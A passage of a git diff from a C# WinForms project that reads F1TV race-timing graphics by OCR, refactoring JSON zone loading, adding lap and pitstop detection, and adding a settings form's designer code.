driverZones.EnumerateArray()) { - var jsonText = streamReader.ReadToEnd(); - var jsonDocument = JsonDocument.Parse(jsonText); + string name = driverZoneElement.GetProperty("name").GetString(); + int driverX = driverZoneElement.GetProperty("x").GetInt32() + mainZone.Bounds.X; + int driverY = driverZoneElement.GetProperty("y").GetInt32() + mainZone.Bounds.Y; + int driverWidth = driverZoneElement.GetProperty("width").GetInt32(); + int driverHeight = driverZoneElement.GetProperty("height").GetInt32(); - var driversNames = jsonDocument.RootElement.GetProperty("Drivers"); - driverListToFill = new List(); + Zone driverZone = new Zone(fullImage, new Rectangle(driverX, driverY, driverWidth, driverHeight), "Driver"); - foreach (var nameElement in driversNames.EnumerateArray()) + JsonElement windowsElement = driverZoneElement.GetProperty("Windows"); + + //string[] windowNames = new string[] { "Position","GapToLeader","LapTime","DRS","Tyres","Name","Sector1","Sector2","Sector3" }; + + foreach (JsonElement windowElement in windowsElement.EnumerateArray()) { - driverListToFill.Add(nameElement.GetString()); + //Position + JsonElement posEl = windowElement.GetProperty("Position"); + DriverPositionWindow positionWindow = new DriverPositionWindow(driverZone.ZoneImage, + new Rectangle( + posEl.GetProperty("x").GetInt32(), + posEl.GetProperty("y").GetInt32(), + posEl.GetProperty("width").GetInt32(), + posEl.GetProperty("height").GetInt32()), + LoadOCR); + + //GapToLeader + JsonElement gapEl = windowElement.GetProperty("GapToLeader"); + DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow(driverZone.ZoneImage, + new Rectangle( + gapEl.GetProperty("x").GetInt32(), + gapEl.GetProperty("y").GetInt32(), + gapEl.GetProperty("width").GetInt32(), + gapEl.GetProperty("height").GetInt32()), + LoadOCR); + + //LapTime + JsonElement lapEl = windowElement.GetProperty("LapTime"); + DriverLapTimeWindow lapWindow = new DriverLapTimeWindow(driverZone.ZoneImage, + new Rectangle( + lapEl.GetProperty("x").GetInt32(), + lapEl.GetProperty("y").GetInt32(), + lapEl.GetProperty("width").GetInt32(), + lapEl.GetProperty("height").GetInt32()), + LoadOCR); + + //DRS + JsonElement drsEl = windowElement.GetProperty("DRS"); + DriverDrsWindow drsWindow = new DriverDrsWindow(driverZone.ZoneImage, + new Rectangle( + drsEl.GetProperty("x").GetInt32(), + drsEl.GetProperty("y").GetInt32(), + drsEl.GetProperty("width").GetInt32(), + drsEl.GetProperty("height").GetInt32()), + LoadOCR); + + //Tyre + JsonElement tyresEl = windowElement.GetProperty("Tyres"); + DriverTyresWindow tyreWindow = new DriverTyresWindow(driverZone.ZoneImage, + new Rectangle( + tyresEl.GetProperty("x").GetInt32(), + tyresEl.GetProperty("y").GetInt32(), + tyresEl.GetProperty("width").GetInt32(), + tyresEl.GetProperty("height").GetInt32()), + LoadOCR); + + //Name + JsonElement nameEl = windowElement.GetProperty("Name"); + DriverNameWindow nameWindow = new DriverNameWindow(driverZone.ZoneImage, + new Rectangle( + nameEl.GetProperty("x").GetInt32(), + nameEl.GetProperty("y").GetInt32(), + nameEl.GetProperty("width").GetInt32(), + nameEl.GetProperty("height").GetInt32()), + LoadOCR); + + //Sector1 + JsonElement sec1El = windowElement.GetProperty("Sector1"); + DriverSectorWindow sec1Window = new DriverSectorWindow(driverZone.ZoneImage, + new Rectangle( + sec1El.GetProperty("x").GetInt32(), + sec1El.GetProperty("y").GetInt32(), + sec1El.GetProperty("width").GetInt32(), + sec1El.GetProperty("height").GetInt32()), + 1, LoadOCR); + + //Sector2 + JsonElement sec2El = windowElement.GetProperty("Sector2"); + DriverSectorWindow sec2Window = new DriverSectorWindow(driverZone.ZoneImage, + new Rectangle( + sec2El.GetProperty("x").GetInt32(), + sec2El.GetProperty("y").GetInt32(), + sec2El.GetProperty("width").GetInt32(), + sec2El.GetProperty("height").GetInt32()), + 2, LoadOCR); + + //Sector3 + JsonElement sec3El = windowElement.GetProperty("Sector3"); + DriverSectorWindow sec3Window = new DriverSectorWindow(driverZone.ZoneImage, + new Rectangle( + sec3El.GetProperty("x").GetInt32(), + sec3El.GetProperty("y").GetInt32(), + sec3El.GetProperty("width").GetInt32(), + sec3El.GetProperty("height").GetInt32()), + 3, LoadOCR); + + driverZone.AddWindow(positionWindow); + driverZone.AddWindow(gapWindow); + driverZone.AddWindow(lapWindow); + driverZone.AddWindow(drsWindow); + driverZone.AddWindow(tyreWindow); + driverZone.AddWindow(nameWindow); + driverZone.AddWindow(sec1Window); + driverZone.AddWindow(sec2Window); + driverZone.AddWindow(sec3Window); } - - var mainProperty = jsonDocument.RootElement.GetProperty("Main"); - Point MainPosition = new Point(mainProperty.GetProperty("x").GetInt32(), mainProperty.GetProperty("y").GetInt32()); - Size MainSize = new Size(mainProperty.GetProperty("width").GetInt32(), mainProperty.GetProperty("height").GetInt32()); - Rectangle MainRectangle = new Rectangle(MainPosition, MainSize); - mainZone = new Zone(image, MainRectangle,"Main"); - - var zones = mainProperty.GetProperty("Zones"); - var driverZone = zones[0].GetProperty("DriverZone"); - - Point FirstZonePosition = new Point(driverZone.GetProperty("x").GetInt32(), driverZone.GetProperty("y").GetInt32()); - Size FirstZoneSize = new Size(driverZone.GetProperty("width").GetInt32(), driverZone.GetProperty("height").GetInt32()); - - var windows = driverZone.GetProperty("Windows"); - - var driverPosition = windows[0].GetProperty("Position"); - Size driverPositionArea = new Size(driverPosition.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverPositionPosition = new Point(driverPosition.GetProperty("x").GetInt32(), driverPosition.GetProperty("y").GetInt32()); - - var driverGapToLeader = windows[0].GetProperty("GapToLeader"); - Size driverGapToLeaderArea = new Size(driverGapToLeader.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverGapToLeaderPosition = new Point(driverGapToLeader.GetProperty("x").GetInt32(), driverGapToLeader.GetProperty("y").GetInt32()); - - var driverLapTime = windows[0].GetProperty("LapTime"); - Size driverLapTimeArea = new Size(driverLapTime.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverLapTimePosition = new Point(driverLapTime.GetProperty("x").GetInt32(), driverLapTime.GetProperty("y").GetInt32()); - - - var driverDrs = windows[0].GetProperty("DRS"); - Size driverDrsArea = new Size(driverDrs.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverDrsPosition = new Point(driverDrs.GetProperty("x").GetInt32(), driverDrs.GetProperty("y").GetInt32()); - - var driverTyres = windows[0].GetProperty("Tyres"); - Size driverTyresArea = new Size(driverTyres.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverTyresPosition = new Point(driverTyres.GetProperty("x").GetInt32(), driverTyres.GetProperty("y").GetInt32()); - - var driverName = windows[0].GetProperty("Name"); - Size driverNameArea = new Size(driverName.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverNamePosition = new Point(driverName.GetProperty("x").GetInt32(), driverName.GetProperty("y").GetInt32()); - - var driverSector1 = windows[0].GetProperty("Sector1"); - Size driverSector1Area = new Size(driverSector1.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverSector1Position = new Point(driverSector1.GetProperty("x").GetInt32(), driverSector1.GetProperty("y").GetInt32()); - - var driverSector2 = windows[0].GetProperty("Sector2"); - Size driverSector2Area = new Size(driverSector2.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverSector2Position = new Point(driverSector2.GetProperty("x").GetInt32(), driverSector2.GetProperty("y").GetInt32()); - - var driverSector3 = windows[0].GetProperty("Sector3"); - Size driverSector3Area = new Size(driverSector3.GetProperty("width").GetInt32(), FirstZoneSize.Height); - Point driverSector3Position = new Point(driverSector3.GetProperty("x").GetInt32(), driverSector3.GetProperty("y").GetInt32()); - - float offset = (((float)mainZone.ZoneImage.Height - (float)(driverListToFill.Count * FirstZoneSize.Height)) / (float)driverListToFill.Count); - Bitmap MainZoneImage = mainZone.ZoneImage; - List zonesToAdd = new List(); - List zonesImages = new List(); - - for (int i = 0; i < NUMBER_OF_DRIVERS; i++) - { - Point tmpPos = new Point(0, FirstZonePosition.Y + i * FirstZoneSize.Height - Convert.ToInt32(i * offset)); - Zone newDriverZone = new Zone(MainZoneImage, new Rectangle(tmpPos, FirstZoneSize), "DriverZone"); - zonesToAdd.Add(newDriverZone); - zonesImages.Add(newDriverZone.ZoneImage); - - newDriverZone.ZoneImage.Save("Driver"+i+".png"); - } - - //Parallel.For(0, NUMBER_OF_DRIVERS, i => - for (int i = 0; i < NUMBER_OF_DRIVERS; i++) - { - Zone newDriverZone = zonesToAdd[(int)i]; - Bitmap zoneImg = zonesImages[(int)i]; - - newDriverZone.AddWindow(new DriverPositionWindow(zoneImg, new Rectangle(driverPositionPosition, driverPositionArea),LoadOCR)); - newDriverZone.AddWindow(new DriverGapToLeaderWindow(zoneImg, new Rectangle(driverGapToLeaderPosition, driverGapToLeaderArea), LoadOCR)); - newDriverZone.AddWindow(new DriverLapTimeWindow(zoneImg, new Rectangle(driverLapTimePosition, driverLapTimeArea), LoadOCR)); - newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR)); - newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR)); - newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR)); - newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR)); - newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR)); - newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR)); - - mainZone.AddZone(newDriverZone); - }//); - //MessageBox.Show("We have a main zone with " + MainZone.Zones.Count() + " Driver zones with " + MainZone.Zones[4].Windows.Count() + " windows each and we have " + Drivers.Count + " drivers"); - mainZones.Add(mainZone); + mainZone.AddZone(driverZone); } + + JsonElement driversElement = main.GetProperty("Drivers"); + foreach (JsonElement driverElement in driversElement.EnumerateArray()) + { + string driverName = driverElement.GetString(); + driverListToFill.Add(driverName); + Storage.AddDriver(driverName); + } + + mainZones.Add(mainZone); } catch (IOException ex) { @@ -148,42 +213,85 @@ namespace Test_Merge { MessageBox.Show("Invalid JSON format: " + ex.Message); } + int driverID = 0; + foreach (Zone z in mainZones[0].Zones) + { + driverID++; + z.ZoneImage.Save("LoadedDriver" + driverID + ".png"); + } return mainZones; - } + } /// /// Method that calls all the zones and windows to get the content they can find on the image to display them /// /// The id of the image we are working with /// a string representation of all the returns - public async Task Decode(List mainZones,List drivers) - { - string result = ""; + public List Decode(List mainZones, List drivers) + { List mainResults = new List(); - //Decode for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++) { switch (mainZoneId) { case 0: + //object lockObject = new object(); //Main Zone - foreach (Zone z in mainZones[mainZoneId].Zones) + Parallel.For(0, mainZones[mainZoneId].Zones.Count, async i => + //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++) { - mainResults.Add(await z.Decode(Drivers)); - } + DriverData data = mainZones[mainZoneId].Zones[i].Decode(new List(drivers)); + mainResults.Add(data); + DriverDataLogs[i].Add(data); + + if (data.Position != -1 && DriverDataLogs[i].Count > 1) + { + //Tries to fix the tyres + if (data.CurrentTyre.NumberOfLaps > DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 3) + data.CurrentTyre.NumberOfLaps = DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 1; + + //Checking if its a new lap + //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started + //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing. + if ( + DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0 + && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0 + && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1 + && DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1) + { + DriverData stats = new DriverData(); + stats = DriverDataLogs[i][DriverDataLogs[i].Count - 1]; + DriverLaps[i]++; + Storage.AddDriverStat(stats, DriverLaps[i]); + } + //Checking if its a pitstop + //Forget this the best way to know if a tyre has been changed is if the number of laps is zero + if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined && data.CurrentTyre.NumberOfLaps == 0 && DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0) + { + Storage.AddPitstop(data.Name, DriverLaps[i] - 1, data.CurrentTyre.Coumpound.ToString()); + //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop + } + } + DriverDataLogs[i].Add(data); + }); break; //Next there could be a Title Zone and TrackInfoZone } } - - //Display - foreach (DriverData driver in mainResults) + //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList(); + mainResults = mainResults.OrderBy(driver => driver.Position).ToList(); + return mainResults; + } + /// + /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows + /// + /// The new Image from the F1TV data channel + public void ChangeImage(Bitmap Image) + { + foreach (Zone z in MainZones) { - result += driver.ToString(); - result += Environment.NewLine; + z.Image = Image; } - - return result; } /// /// Method that can be used to convert an amount of miliseconds into a more readable human form @@ -204,7 +312,7 @@ namespace Test_Merge /// /// the #id of the image we are working with /// the drawed bitmap - public Bitmap Draw(Bitmap image,List mainZones) + public Bitmap Draw(Bitmap image, List mainZones) { Graphics g = Graphics.FromImage(image); diff --git a/docs/Code/Settings.Designer.cs b/docs/Code/Settings.Designer.cs new file mode 100644 index 0000000..8d05266 --- /dev/null +++ b/docs/Code/Settings.Designer.cs @@ -0,0 +1,494 @@ +namespace TrackTrends +{ + partial class Settings + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.gpbxRaceSettings = new System.Windows.Forms.GroupBox(); + this.tbxGpUrl = new System.Windows.Forms.TextBox(); + this.gpbxDriverList = new System.Windows.Forms.GroupBox(); + this.lsbDrivers = new System.Windows.Forms.ListBox(); + this.btnRemoveDriver = new System.Windows.Forms.Button(); + this.btnAddDriver = new System.Windows.Forms.Button(); + this.tbxDriverName = new System.Windows.Forms.TextBox(); + this.gpbxPreview = new System.Windows.Forms.GroupBox(); + this.lblWindowsRemaining = new System.Windows.Forms.Label(); + this.btnResetDriver = new System.Windows.Forms.Button(); + this.btnRefresh = new System.Windows.Forms.Button(); + this.lblWindowPointsRemaining = new System.Windows.Forms.Label(); + this.lblZonePointsRemaning = new System.Windows.Forms.Label(); + this.btnCreateWindow = new System.Windows.Forms.Button(); + this.pbxPreview = new System.Windows.Forms.PictureBox(); + this.btnCreatZone = new System.Windows.Forms.Button(); + this.gpbxWindowPreview = new System.Windows.Forms.GroupBox(); + this.pbxWindowPreview = new System.Windows.Forms.PictureBox(); + this.btnLoadPreset = new System.Windows.Forms.Button(); + this.lsbPresets = new System.Windows.Forms.ListBox(); + this.tbxPresetName = new System.Windows.Forms.TextBox(); + this.btnSavePreset = new System.Windows.Forms.Button(); + this.gpbxPresets = new System.Windows.Forms.GroupBox(); + this.btnDeletePreset = new System.Windows.Forms.Button(); + this.tip1 = new System.Windows.Forms.ToolTip(this.components); + this.gpbxRaceSettings.SuspendLayout(); + this.gpbxDriverList.SuspendLayout(); + this.gpbxPreview.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbxPreview)).BeginInit(); + this.gpbxWindowPreview.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbxWindowPreview)).BeginInit(); + this.gpbxPresets.SuspendLayout(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Microsoft YaHei UI", 19.8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.ForeColor = System.Drawing.Color.White; + this.label1.Location = new System.Drawing.Point(12, 14); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(309, 43); + this.label1.TabIndex = 0; + this.label1.Text = "Configuration tool"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.ForeColor = System.Drawing.Color.White; + this.label2.Location = new System.Drawing.Point(3, 25); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(132, 23); + this.label2.TabIndex = 1; + this.label2.Text = "Grand Prix URL"; + // + // gpbxRaceSettings + // + this.gpbxRaceSettings.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.gpbxRaceSettings.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79))))); + this.gpbxRaceSettings.Controls.Add(this.tbxGpUrl); + this.gpbxRaceSettings.Controls.Add(this.label2); + this.gpbxRaceSettings.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.gpbxRaceSettings.ForeColor = System.Drawing.Color.White; + this.gpbxRaceSettings.Location = new System.Drawing.Point(733, 9); + this.gpbxRaceSettings.Name = "gpbxRaceSettings"; + this.gpbxRaceSettings.Padding = new System.Windows.Forms.Padding(0); + this.gpbxRaceSettings.Size = new System.Drawing.Size(521, 58); + this.gpbxRaceSettings.TabIndex = 2; + this.gpbxRaceSettings.TabStop = false; + this.gpbxRaceSettings.Text = "RaceSettings"; + this.gpbxRaceSettings.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders); + // + // tbxGpUrl + // + this.tbxGpUrl.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.tbxGpUrl.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tbxGpUrl.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.tbxGpUrl.ForeColor = System.Drawing.Color.White; + this.tbxGpUrl.Location = new System.Drawing.Point(141, 25); + this.tbxGpUrl.Name = "tbxGpUrl"; + this.tbxGpUrl.Size = new System.Drawing.Size(367, 22); + this.tbxGpUrl.TabIndex = 4; + this.tbxGpUrl.TextChanged += new System.EventHandler(this.tbxGpUrl_TextChanged); + // + // gpbxDriverList + // + this.gpbxDriverList.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.gpbxDriverList.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79))))); + this.gpbxDriverList.Controls.Add(this.lsbDrivers); + this.gpbxDriverList.Controls.Add(this.btnRemoveDriver); + this.gpbxDriverList.Controls.Add(this.btnAddDriver); + this.gpbxDriverList.Controls.Add(this.tbxDriverName); + this.gpbxDriverList.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.gpbxDriverList.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.gpbxDriverList.ForeColor = System.Drawing.Color.White; + this.gpbxDriverList.Location = new System.Drawing.Point(995, 73); + this.gpbxDriverList.Name = "gpbxDriverList"; + this.gpbxDriverList.Padding = new System.Windows.Forms.Padding(0); + this.gpbxDriverList.Size = new System.Drawing.Size(259, 269); + this.gpbxDriverList.TabIndex = 3; + this.gpbxDriverList.TabStop = false; + this.gpbxDriverList.Text = "DriverList"; + this.gpbxDriverList.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders); + // + // lsbDrivers + // + this.lsbDrivers.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.lsbDrivers.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.lsbDrivers.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.lsbDrivers.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252))))); + this.lsbDrivers.FormattingEnabled = true; + this.lsbDrivers.ItemHeight = 23; + this.lsbDrivers.Location = new System.Drawing.Point(10, 23); + this.lsbDrivers.Name = "lsbDrivers"; + this.lsbDrivers.Size = new System.Drawing.Size(243, 138); + this.lsbDrivers.TabIndex = 10; + // + // btnRemoveDriver + // + this.btnRemoveDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnRemoveDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnRemoveDriver.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnRemoveDriver.ForeColor = System.Drawing.Color.White; + this.btnRemoveDriver.Location = new System.Drawing.Point(132, 167); + this.btnRemoveDriver.Name = "btnRemoveDriver"; + this.btnRemoveDriver.Size = new System.Drawing.Size(121, 62); + this.btnRemoveDriver.TabIndex = 9; + this.btnRemoveDriver.Text = "Remove"; + this.btnRemoveDriver.UseVisualStyleBackColor = false; + this.btnRemoveDriver.Click += new System.EventHandler(this.btnRemoveDriver_Click); + // + // btnAddDriver + // + this.btnAddDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnAddDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnAddDriver.Font = new System.Drawing.Font("Microsoft YaHei UI", 10.2F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnAddDriver.ForeColor = System.Drawing.Color.White; + this.btnAddDriver.Location = new System.Drawing.Point(10, 167); + this.btnAddDriver.Name = "btnAddDriver"; + this.btnAddDriver.Size = new System.Drawing.Size(116, 62); + this.btnAddDriver.TabIndex = 8; + this.btnAddDriver.Text = "Add"; + this.btnAddDriver.UseVisualStyleBackColor = false; + this.btnAddDriver.Click += new System.EventHandler(this.btnAddDriver_Click); + // + // tbxDriverName + // + this.tbxDriverName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.tbxDriverName.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.tbxDriverName.Font = new System.Drawing.Font("Microsoft YaHei UI", 11F); + this.tbxDriverName.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252))))); + this.tbxDriverName.Location = new System.Drawing.Point(10, 235); + this.tbxDriverName.Name = "tbxDriverName"; + this.tbxDriverName.Size = new System.Drawing.Size(243, 24); + this.tbxDriverName.TabIndex = 7; + // + // gpbxPreview + // + this.gpbxPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79))))); + this.gpbxPreview.Controls.Add(this.lblWindowsRemaining); + this.gpbxPreview.Controls.Add(this.btnResetDriver); + this.gpbxPreview.Controls.Add(this.btnRefresh); + this.gpbxPreview.Controls.Add(this.lblWindowPointsRemaining); + this.gpbxPreview.Controls.Add(this.lblZonePointsRemaning); + this.gpbxPreview.Controls.Add(this.btnCreateWindow); + this.gpbxPreview.Controls.Add(this.pbxPreview); + this.gpbxPreview.Controls.Add(this.btnCreatZone); + this.gpbxPreview.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.gpbxPreview.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F); + this.gpbxPreview.ForeColor = System.Drawing.Color.White; + this.gpbxPreview.Location = new System.Drawing.Point(18, 73); + this.gpbxPreview.Name = "gpbxPreview"; + this.gpbxPreview.Padding = new System.Windows.Forms.Padding(0); + this.gpbxPreview.Size = new System.Drawing.Size(968, 608); + this.gpbxPreview.TabIndex = 4; + this.gpbxPreview.TabStop = false; + this.gpbxPreview.Text = "Preview"; + this.gpbxPreview.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders); + // + // lblWindowsRemaining + // + this.lblWindowsRemaining.AutoSize = true; + this.lblWindowsRemaining.BackColor = System.Drawing.Color.Transparent; + this.lblWindowsRemaining.ForeColor = System.Drawing.Color.White; + this.lblWindowsRemaining.Location = new System.Drawing.Point(215, 82); + this.lblWindowsRemaining.Name = "lblWindowsRemaining"; + this.lblWindowsRemaining.Size = new System.Drawing.Size(183, 23); + this.lblWindowsRemaining.TabIndex = 6; + this.lblWindowsRemaining.Text = "7 windows remaining"; + // + // btnResetDriver + // + this.btnResetDriver.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnResetDriver.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnResetDriver.Enabled = false; + this.btnResetDriver.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnResetDriver.ForeColor = System.Drawing.Color.White; + this.btnResetDriver.Location = new System.Drawing.Point(748, 20); + this.btnResetDriver.Name = "btnResetDriver"; + this.btnResetDriver.Size = new System.Drawing.Size(211, 33); + this.btnResetDriver.TabIndex = 2; + this.btnResetDriver.Text = "Reset the emulator"; + this.btnResetDriver.UseVisualStyleBackColor = false; + this.btnResetDriver.Click += new System.EventHandler(this.btnResetDriver_Click); + // + // btnRefresh + // + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnRefresh.ForeColor = System.Drawing.Color.White; + this.btnRefresh.Location = new System.Drawing.Point(549, 20); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(193, 33); + this.btnRefresh.TabIndex = 1; + this.btnRefresh.Text = "Start the browser"; + this.btnRefresh.UseVisualStyleBackColor = false; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // lblWindowPointsRemaining + // + this.lblWindowPointsRemaining.AutoSize = true; + this.lblWindowPointsRemaining.ForeColor = System.Drawing.Color.White; + this.lblWindowPointsRemaining.Location = new System.Drawing.Point(215, 59); + this.lblWindowPointsRemaining.Name = "lblWindowPointsRemaining"; + this.lblWindowPointsRemaining.Size = new System.Drawing.Size(163, 23); + this.lblWindowPointsRemaining.TabIndex = 4; + this.lblWindowPointsRemaining.Text = "0 points remaining"; + // + // lblZonePointsRemaning + // + this.lblZonePointsRemaning.AutoSize = true; + this.lblZonePointsRemaning.ForeColor = System.Drawing.Color.White; + this.lblZonePointsRemaning.Location = new System.Drawing.Point(19, 59); + this.lblZonePointsRemaning.Name = "lblZonePointsRemaning"; + this.lblZonePointsRemaning.Size = new System.Drawing.Size(163, 23); + this.lblZonePointsRemaning.TabIndex = 5; + this.lblZonePointsRemaning.Text = "0 points remaining"; + // + // btnCreateWindow + // + this.btnCreateWindow.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnCreateWindow.Enabled = false; + this.btnCreateWindow.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnCreateWindow.ForeColor = System.Drawing.Color.White; + this.btnCreateWindow.Location = new System.Drawing.Point(213, 23); + this.btnCreateWindow.Name = "btnCreateWindow"; + this.btnCreateWindow.Size = new System.Drawing.Size(201, 33); + this.btnCreateWindow.TabIndex = 2; + this.btnCreateWindow.Text = "Create the windows"; + this.btnCreateWindow.UseVisualStyleBackColor = false; + this.btnCreateWindow.Click += new System.EventHandler(this.btnCreateWindow_Click); + // + // pbxPreview + // + this.pbxPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.pbxPreview.Location = new System.Drawing.Point(10, 62); + this.pbxPreview.Name = "pbxPreview"; + this.pbxPreview.Size = new System.Drawing.Size(950, 540); + this.pbxPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbxPreview.TabIndex = 0; + this.pbxPreview.TabStop = false; + this.pbxPreview.Click += new System.EventHandler(this.pbxMain_Click); + this.pbxPreview.MouseClick += new System.Windows.Forms.MouseEventHandler(this.pbxMain_MouseClick); + // + // btnCreatZone + // + this.btnCreatZone.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51))))); + this.btnCreatZone.Enabled = false; + this.btnCreatZone.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.btnCreatZone.ForeColor = System.Drawing.Color.White; + this.btnCreatZone.Location = new System.Drawing.Point(6, 23); + this.btnCreatZone.Name = "btnCreatZone"; + this.btnCreatZone.Size = new System.Drawing.Size(201, 33); + this.btnCreatZone.TabIndex = 1; + this.btnCreatZone.Text = "Create the main 